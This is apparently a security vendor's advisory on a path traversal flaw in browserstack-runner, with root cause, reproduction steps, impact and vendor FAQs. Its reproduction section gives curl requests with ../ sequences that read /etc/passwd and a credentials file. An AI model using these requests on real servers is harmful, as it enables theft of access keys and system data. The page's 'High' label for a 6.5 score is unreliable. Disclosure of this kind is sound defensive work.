Summary
The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
Root Cause
lib/server.js, lines 530–534 : _default handler:
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
handleFile(filePath, request, response);
}
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
server.listen(parseInt(config.test_server_port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.
Steps to Reproduce
Step 1 : Start the server (Terminal 1)
cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
Step 2 : Read arbitrary files (Terminal 2)
Read /etc/hostname:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
curl -s "http://127.0.0.1:8888/browserstack.json"
Note: --path-as-is is required because curl normalizes ../ sequences
by default. Browsers and HTTP libraries that do not normalize URL paths
(or that allow raw path construction) can exploit this without special flags.
Expected Result
/etc/hostname→ server returns the machine hostname/etc/passwd→ server returns the full passwd filebrowserstack.json→ server returns the config including the BrowserStack access key
Impact
- BrowserStack access key theft :
browserstack.jsonis always in the project root (same directory the server serves from), and containsusernameandkeyin cleartext - Source code theft : all project files are readable
- System file disclosure :
/etc/passwd,/etc/shadow(if readable), SSH keys,.envfiles,.npmrc(npm tokens), etc. - Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-49144 has a CVSS score of 6.5 (High). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-49144? CVE-2026-49144 is a high-severity path traversal vulnerability in browserstack-runner (npm), affecting versions <= 0.9.5. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-49144? CVE-2026-49144 has a CVSS score of 6.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of browserstack-runner are affected by CVE-2026-49144? browserstack-runner (npm) versions <= 0.9.5 is affected.
- Is there a fix for CVE-2026-49144? No fixed version is listed for CVE-2026-49144 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-49144 exploitable, and should I be worried? Whether CVE-2026-49144 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-49144 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-49144? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.